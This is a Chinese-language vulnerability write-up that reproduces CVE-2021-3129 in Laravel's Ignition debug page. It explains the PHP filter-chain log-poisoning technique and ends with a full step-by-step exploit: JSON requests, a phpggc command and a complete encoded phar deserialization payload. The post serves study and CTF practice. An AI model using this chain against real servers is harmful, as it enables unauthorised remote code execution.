Laravel8 CVE-2021-3129 复现分析
2021-6-3
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Jun 3, 2021
slug
2021/laravel8-debug-rce
summary
复现了好几天…
tags
漏洞复现
category
漏洞复现
icon
password

1. 前言

由于参加两次CTF都遇上了反序列化+PHP各种filter过滤器的利用,然后对一些不常见filter的利用不是很熟悉,因此复现分析一下 CVE-2021-3129,因为这个CVE对一些filter利用的比较巧妙
 
ignition组件是Laravel5.5及其之后的使用的自定义错误页面美化组件,2.5.2 版本之前因 file_get_contents() 和 file_put_contents()两个函数不安全使用导致攻击者可以在Laravel框架(<8.4.2)开启debug模式的情况下未授权RCE。
 
影响范围[1-2]
  • ignition
>= 2.5.0, < 2.5.2
>= 2.0.0, < 2.4.2
>= 1.7.0, < 1.16.14
< 1.6.15
  • Laravel
< 8.4.2
 

2. 环境搭建

复现环境:PHP 7.3.24

2.1 安装 composer

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php -r "if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" php composer-setup.php php -r "unlink('composer-setup.php');" sudo mv composer.phar /usr/local/bin/composer

2.2 安装 Laravel

git clone https://github.com/laravel/laravel.git cd laravel git checkout -b e849812 composer install composer require facade/ignition==2.5.1 cp .env.example .env php artisan key:generate
.env.example 默认配置是debug模式,可不予理会
然后启动 Apache 环境即可,访问
http://xxxx/public/index.php
这里不用 php artisan serve 启动因为没有Apache集成环境debug方便
notion image

2.3 编写漏洞入口代码

先在 resources/views 目录下新建一个文件 hello.blade.php,内容为
<html> <body> <h1> Hello {{ $username }} </h1> </body> </html>
routes/web.php 增加路由
Route::get('/hello', function () { return view('hello'); });
notion image
访问这个视图
http://laravel8.tari:8890/public/index.php/hello
正常出现变量未定义报错信息
notion image

3. 漏洞分析

3.1 触发点路由追踪

点击 Make variable optional 并抓包,这个方法会自动把我们模板的 {{ $username }} 替换为 {{ $username ?? '' }},即添加一个默认值
notion image
可以看到,请求的路径为 _ignition/execute-solution
notion image
全局分别搜一下 _ignition 和 execute-solution 可知
本API对应的方法为 vendor/facade/ignition/src/IgnitionServiceProvider.php 中的 ExecuteSolutionController 类
notion image
跟进此类,下个断点发现ExecuteSolutionController类对象会被当做函数调用
notion image
与其定义的 __invoke 魔术方法一致。
__invoke 魔术方法中先调用
$solution = $request->getRunnableSolution();
获取 $solution 对象随后调用 $solution对象的 run方法
跟进得知 $solution 即为我们 POST 传入的
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
跟进 $solution->run();
notion image
逻辑可简化为
$originalContents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $output);
其中 $parameters 为我们 POST 传入的
"parameters":{"variableName":"username","viewFile":"/Users/tari/Sites/laravel/resources/views/hello.blade.php"}
之所以可以简化为两行,是因为中间的逻辑主要为,在 $this->makeOptional($parameters);方法里把 $parameters['variableName']加上 "?? ''" ,之后为从词法分析层面,即 $this->generateExpectedTokens() 中,是否真的在变量 $parameters['variableName'] 期望位置加上了 "?? ''"
,加上了的话就返回替换后的内容。所以只要我们传入的 $parameters['variableName'] 变量在模板文件中真实存在,多为满足条件的。当然这是建立在我们只到变量名称的情况下,如果不知道呢?
 
换个角度理解,只要我们传入的变量是模板中不存在的,那么 $newTokens 恒为 [0]$expectedTokens 也是恒为 [0],那么 $expectedTokens !== $newTokens 恒成立,压根就不用管这部分逻辑。

3.2 漏洞点分析

file_get_contents 和 file_put_contents 读取和写入的文件是一样的,且文件输出内容几乎不可控,相当于读取一个文件,又写回去,就加上了 "?? ''" 。
 
虽然 $parameters['variableName'] 不太可控,但 file_get_contents 和 file_put_contents 的输入,即$parameters['viewFile'] 是可控的。然后服务端上我们可控的文件只有日志文件,这里使用 Laravel 的日志文件,默认位置是 storage/logs/laravel.log ,是用来记录一些 ERROR 级别的报错日志。
notion image
格式可分为 4 部分,时间、错误、错误描述、错误堆栈
先尝试一下输入的内容是否能正常的写入日志文件中
notion image
notion image
可以正常写入,也就是,日志文件大概如下结构,其中payload为我们可控部分
[prefix]PAYLOAD[midfix1]PAYLOAD[midfix2]部分PAYLOAD[suffix]
问题在于,如何在存在[prefix] [midfix1] [midfix2] [suffix] 的情况下,如何让可控PAYLOAD被利用?
 
首先,考虑 phar://数据流包装器,因为 file_get_contents 会触发 phar 的反序列化,通过 viewFile 传入即可。但这里会遇到几个问题

3.3 尝试 base64 过滤器修改内容

PHP 中 base64 解码会过滤除特殊字符,如
echo base64_decode('[;#MQ==#...<<>');
notion image
'1' 等价于 base64_decode('MQ==') 等价于 base64_decode('[;#MQ==#...<<>')
 
然后PHP的base64_decode解码还有一个特性,在需要解码的字符串长度不足4的倍数时,会自动添加 = 号填充,也就是说,没有因输入的字符串不符合base64编码后的规则而抛出异常一说,直至把字符串解码为空串
notion image
但问题在于,这个值难以控制,如日志里的时间
php > var_dump(base64_decode(base64_decode('[2021-06-05 05:21:45]'))); string(1) "3" php > var_dump(base64_decode(base64_decode('[2021-06-06 05:21:45]'))); string(0) ""
稍微把5变为6,结果则不尽相同。此外,后面还有调用栈等复杂的字符串,处理起来比较麻烦。
 
不过PHP base64特性也不是一无是处,我们可以利用它清空laravel.log使我们受到的干扰进一步降低。经实验,258278字符的日志文件在经过 8次 base64_decode后即可变为空。即多请求几次这个接口即可清空日志文件。
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"suiyi","viewFile":"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"}}
理想中是美好的,但意外却发生了
notion image
上图中报错,是因为日志文件中含有 = 号,但等号在 base64编码中是结束用的填充符号,会使得PHP base64解码过滤器抛出异常[5]
 
原来,filter过滤器中的base64解码和直接用 base64_decode是不同的。3.3小节开头中用base64_decode函数字符串中含有 = 号是能正常解码的。
 
但假设不存在 = 号,清空文件是无问题的哈
notion image
 
或者一步到位,结合多个base64解码过滤器
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"suiyi","viewFile":"php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log"}}
最终发现base64过滤器各种直接用不上,但问题不大,这里记得他的一个特性,如果不存在 = 号,他可以帮助我们去掉非base64编码后的字符。
 

3.4 考虑其他 filter 过滤器

清空文件除了使用 base64-decode过滤器,也可以使用,而且不会受到特殊符号的影响
php://filter/read=consumed/resource=../storage/logs/laravel.log
Emm,不过就是不知道这个 filter 是如何发现的。。网上找了半天没找到
 
至此,上面的问题还是没有解决
 
问题在于,如何在存在[prefix] [midfix1] [midfix2] [suffix] 的情况下,如何让可控PAYLOAD被利用?
 
来硬的不行,换个思路,假设可以让[prefix] [midfix1] [midfix2] [suffix]转换为不可见字符,保留 PAYLOAD 部分为可见字符,然后结合PHP base64 解码的特性,是不是就可以只保留 PAYLOAD 部分了?
 
好像还真可以,利用filter过滤器把日志内容识别为 UTF-16 编码,并转换为 UTF-8编码,因为 UTF-16 是双字节编码,那么原有的 [prefix] 是否就全变为不可见字符?
 
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0"); fclose($fp); /* Outputs: This is a test. */ ?>
然后 PAYLOAD 部分,输入 P\0A\0Y\0L\0O\0A\0D\0 ,写入时指定 utf16le -> utf-8
php://filter/write=convert.iconv.utf-16le.utf-8/resource=../storage/logs/laravel.log
转换为 UTF-8 刚刚好为 PAYLAOD,最后在 base64解码一下,刚刚好只剩下 PAYLOAD 部分。赶紧试试,太骚了这思路。
notion image
发现写不进去。。仔细想想,\0 在PHP是阶段,会报错,也难怪,而且到时候 file_get_contets() 的时候,也会报错。
 
这里又需利用到另外一个过滤器
我们可以先把 \0 编码为 =00,读取的时候解码即可。
先写入PAYLOAD,这里为
t=00a=00r=00i=00
notion image
然后写入,先解码 =00 然后在把utf16转换为utf8
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/resource=../storage/logs/laravel.log
notion image
又报错了,utf16要求双字节对齐,但日志文件来说,不一定是双字节对齐。处理方法很简单,任何数*2都是偶数,就双字节对齐啦,如变成下面这样
[prefix]PAYLOAD[midfix1]PAYLOAD[midfix2]部分PAYLOAD[suffix] [prefix]PAYLOAD[midfix1]PAYLOAD[midfix2]部分PAYLOAD[suffix]
赶紧尝试一下 (
不出意外,又报错了
notion image
找了半天,原来PAYLOAD被部分截断了,然后截断的位置非常神奇,并且加了个点 =0.,导致解码错误,
notion image
写个小demo,果然如此
notion image
即我们的部分PAYLOAD导致出了问题
[prefix]PAYLOAD[midfix1]PAYLOAD[midfix2]部分PAYLOAD[suffix]
这个容易解决,查看日志文件,数一下发现只会截断前15个,我们这里填充个100个随意字符,这里选择填充A,怎么也不会殃及到我们的PAYLOAD
也就是说,我们现在不用关心部分PAYLOAD了,现变为
[prefix]PAYLOAD[midfix1]PAYLOAD[midfix2][suffix] [prefix]PAYLOAD[midfix1]PAYLOAD[midfix2][suffix]
先清空日志,然后发两次
notion image
转换
notion image
notion image
 
nice~
特殊字符用base64编码去特殊字符就行,当然我们的 tari 没有进行base64编码,所以直接base64解码,特殊字符是去掉了,不过我们的 tari 也会被解码为乱码
echo "tari" | base64 | sed -E 's/./&\=00/g' # 输出 d=00G=00F=00y=00a=00Q=00o=00==00
看到了熟悉的有问题的子串 ==00 号,就和我们日志里出现的 =0. 类似,都会有问题
 
这里有两个方法
  1. 编码 =,即编码为 =3D
  1. base64编码后,把=号去掉,因为PHP的base64解码发现位数不为4的整数倍,会自动在后方加 = 号,这点在3.3小节说过
这里选择第2种方法
 
echo "tari" | base64 | sed -E 's/=+$//g' | sed -E 's/./&\=00/g' # 输出 d=00G=00F=00y=00a=00Q=00o=00
 

3.5 两个PAYLOAD和双字节对齐

但是这样还有个问题,就是我们的 PAYLOAD 出现了两次,处理方法很简单,把原来的
[prefix]PAYLOAD[midfix1]PAYLOAD[midfix2][suffix] [prefix]PAYLOAD[midfix1]PAYLOAD[midfix2][suffix]
转换为
[prefix]PAYLOAD_1[midfix1]PAYLOAD_1[midfix2][suffix] [prefix]PAYLOAD_2[midfix1]PAYLOAD_2[midfix2][suffix]
其中 PAYLOAD_1随意即可,无需为真的PAYLOAD,比如我们可以把 PAYLOAD_1 变为保持为100个 'A' ,因为没有 \0 ,所以从utf16转换为utf-8会把他转换为”乱码”
到这里可能会有所疑问,我们的 PAYLOAD_2 不是也出现了两次么?
[prefix]PAYLOAD_2[midfix1]PAYLOAD_2[midfix2][suffix]
这里也挺巧妙的,一开始我们是清空了日志的,这时我们的日志文件 laravel.log 文件为空。
PAYLOAD_1 和 PAYLOAD_2 前面都填充了 100个 A,所以 [midfix1][midfix2][suffix]部分是一样的,而且是不会变的。
notion image
notion image
首先看看整体是不是双字节对齐的
 
==证明1:==
  • PAYLOAD_1 是偶数,已对齐;
  • 2个[prefix][midfix1][midfix2][suffix] 是一样的,无论奇偶与否,乘以2都是偶数,对齐;
  • PAYLOAD_2也是有两个,对齐;
所以整体肯定是对齐的。不然过滤器 convert.iconv.utf-16le.utf-8 无法正常工作。
==证明1证毕==
 
接下来考虑顺序问题,会不会因 奇数+P\0A\0 刚好把我们精心构造的PAYLOAD给破坏了呢?
我们发的第一个填充包,整体可能是奇数,也可能是偶数,,接下来分两种情况分别讨论
  • 前提
[prefix] 长度为 53,为奇数,这里应该都是一样的,尝试过使用内网其他机器访问,也是 local.ERROR
[2021-06-07 07:52:32] local.ERROR: file_get_contents(
midfix1 长度为 119,为奇数
): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(
设定 Si 表示串下标为 i 之前的子串
 
  • 当第1个填充包为奇数
证明1知,我们发的2个包肯定是双字节对齐,也就是偶数,那么此时第2个填充包肯定也为奇数
 = 第1个填充包(奇数) + 第二个包的[prefix]部分(奇数) -> 偶数
此时没有破坏 第1个PAYLOAD_2
然后 [midfix2]的长度 是奇数,此时  + P\0A\0 肯定会破坏第2个PAYLOAD_2,也就是说这部分经转换为乱码
因为此前都是偶数,[midfix2] 到最后肯定也是偶数,不会破坏双字节对齐
最终输出的为,base64_decode(乱码+第1个PAYLOAD_2+乱码),就仅有 PAYLOAD_2
因此这种情况最终只有1个我们构造的PAYLOAD,符合条件
  • 当第一个填充包为偶数
证明1知,我们发的2个包肯定是双字节对齐,也就是偶数,那么此时第2个填充包肯定也为偶数
 = 第1个填充包(偶数) + 第二个包的[prefix]部分(奇数) -> 奇数,
 (奇数) + P\0A\0 肯定会破坏第1个PAYLOAD_2,这部分都为乱码,不用理会
此时  =  (奇数) + 第1个PAYLOAD_2(偶数) -> 奇数
然后 = (奇数) + [midfix2] (奇数) -> 偶数
(偶数)并不会破坏 第二个PAYLOAD_2 的结构,
(偶数)+ 第二个PAYLOAD_2 (偶数) -> 偶数,所以后面也为偶数,不会破坏双字节对齐
最终输出的为,base64_decode(乱码+第2个PAYLOAD_2+乱码),就仅有 PAYLOAD_2
因此这种情况最终只有1个我们构造的PAYLOAD,符合条件
  • 综上
下面这种构造方法
[prefix]PAYLOAD_1[midfix1]PAYLOAD_1[midfix2][suffix] [prefix]PAYLOAD_2[midfix1]PAYLOAD_2[midfix2][suffix]
[prefix] 和 [midfix1] 都为奇数, 且 PAYLOAD_1 为长度偶数,最终可以安全的得到一个 PAYLOAD_2
  • 另外一种情形
因为包的 [prefix] 和 [midfix1] 部分刚好都为奇数,所以是这样。
如果是其他情况呢,假设 [prefix] 和 [midfix1] 是前奇后偶的情况?
这个和实际利用情况很像,因为如果file_get_contents 输入的参数过长,[midfix1] 会变成
): failed to open stream: Invalid argument {"exception":"[object] (ErrorException(code: 0): file_get_contents(
长度是 110
就需要在我们想要的PAYLOAD最后填充 =00,就可以了,因为这样无论第1个或第2个PAYLOAD前面是奇数还是偶数,首先双字节一定是对齐的,然后第1个PAYLOAD前是奇数,会吃掉第1个PAYLOAD,又因PAYLOAD后有一个=00 会吃掉后面一个字符,这样就变成了偶数,所以第二个不会被吃,反则反之。
所以前奇后偶的情况是这样
[prefix]PAYLOAD_1[midfix1]PAYLOAD_1[midfix2][suffix] [prefix]PAYLOAD_2=00[midfix1]PAYLOAD_2=00[midfix2][suffix]
因为第1个payload前只有奇数或偶数两种情况,所以考虑这两种情况足以。
那么针对这两种情况,有没有通用的解决方法呢?(我暂没发现。。

3.6 整合

  1. 清空日志
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"}}
notion image
 
  1. 写入填充数据
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}}
notion image
 
  1. 写入我们可控数据
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd=00G=00F=00y=00a=00Q=00o=00"}}
这里Payload字段比较短,为双奇数型,不需要处理
notion image
如果比较长,比如真实漏洞利用,一般为前奇后偶型,需要在PAYLOAD后缀加上 =00 保证对齐
4. 转换去除无关数据
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
notion image
OK,终于可控了~
notion image
 

4. 漏洞利用

4.1 手工利用

4.1.1 清空日志
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"}}
 
4.1.2 写入填充对齐数据
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}}
 
4.1.3 生成并写入 phar payload
4.1.3.1 生成phar payload
php -d 'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -b0 | sed -E 's/=+$//g' | sed -E 's/./&=00/g'
 
4.1.3.2 写入phar payload 数据 (4.1.3.1 生成的)
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00Z=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00C=00C=00A=00g=00A=00A=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00T=00z=00o=00y=00O=00T=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00E=00J=001=00Z=00m=00Z=00l=00c=00k=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00c=006=00e=003=00M=006=00M=00T=00A=006=00I=00g=00A=00q=00A=00G=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=000=004=007=00c=00z=00o=00x=00M=00z=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V=00y=00U=002=00l=006=00Z=00S=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00k=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=003=00O=00i=00J=00w=00a=00H=00B=00p=00b=00m=00Z=00v=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00m=00N=00h=00b=00G=00x=00f=00d=00X=00N=00l=00c=00l=009=00m=00d=00W=005=00j=00I=00j=00t=009=00f=00X=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00l=00N=00p=00e=00m=00U=00i=00O=002=00k=006=00L=00T=00E=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00I=00i=00O=002=00E=006=00M=00T=00p=007=00a=00T=00o=00w=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00I=007=00c=00z=00o=001=00O=00i=00J=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00b=00G=00V=002=00Z=00W=00w=00i=00O=000=004=007=00c=00z=00o=00x=00N=00D=00o=00i=00A=00C=00o=00A=00a=00W=005=00p=00d=00G=00l=00h=00b=00G=00l=006=00Z=00W=00Q=00i=00O=002=00I=006=00M=00T=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00M=00a=00W=001=00p=00d=00C=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00w=00c=00m=009=00j=00Z=00X=00N=00z=00b=003=00J=00z=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00z=00O=00j=00c=006=00I=00m=00N=001=00c=00n=00J=00l=00b=00n=00Q=00i=00O=002=00k=006=00M=00T=00t=00z=00O=00j=00E=000=00O=00i=00J=00j=00Y=00W=00x=00s=00X=003=00V=00z=00Z=00X=00J=00f=00Z=00n=00V=00u=00Y=00y=00I=007=00f=00X=001=009=00B=00Q=00A=00A=00A=00G=00R=001=00b=00W=001=005=00B=00A=00A=00A=00A=00D=00w=00d=00v=002=00A=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00K=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00D=00w=00d=00v=002=00A=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00K=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00H=00R=00l=00c=003=00R=00P=00k=00R=00y=00Q=00r=00k=00B=00t=00D=007=001=003=00E=00z=00J=00P=00B=00n=00I=00w=00c=00c=00v=00F=00o=00A=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00=00"}}
因为payload比较长,所以是前奇后偶型,注意别忘了在最后还要补上一个 =00 这里已经补上了
 
4.1.4 把日志文件转换为仅剩phar数据
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
 
4.1.5 通过file_get_contents触发phar反序列化
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"phar:///Users/tari/Sites/laravel/storage/logs/laravel.log/test.txt"}}
注意这里的路由必须为绝对路径(相对路径试过了会报错)
 
不过绝对路径也是已知的,可以通过报错信息获取~
notion image
 

4.2 脚本利用

改进了一下原有脚本,可以兼容laravel的artisan serv 和 apache代理(路由后面少个 /)启动模式
 
测试PHP版本为 PHP7.3.24
 
PHP 8 用不了,可能是因为 monolog 的gadget有问题

总结

本次漏洞踩了的坑很多
  • 在 base64过滤器里,理解了挺久一些字符串还原特性[5]的,然后清空中过滤器与base64_decode函数不同的坑也踩了,原来过滤器中,中间不能用 = 号。顺便深入理解了baes64编码的原理,解码的条件。
  • 了解了PHP伪协议一些不太常见的过滤器,原来还可以联合起来,配合报错日志这样玩,,这样构造仅有我们想要的内容
  • 在字节对齐这理解了很久,也是有 = 号产生的坑,做了很多不同实验踩才理解透彻
虽然 虽然漏洞点不在很深的位置,但是不明显,file_get_contents 和 file_put_contents 都绑定了,当时打ctf遇到这个确实没啥好的思路。
虽然花了几天复现这个漏洞,不过学了很多新的东西,也对旧的知识(base64、phar等)做了巩固和更深入的理解和应用。
 

参考链接

漏洞复现
  • 漏洞复现
  • 2021强网杯 Web WriteupWeb writeup | 2021年第一届广东大学生网络安全攻防大赛-晋级赛
    目录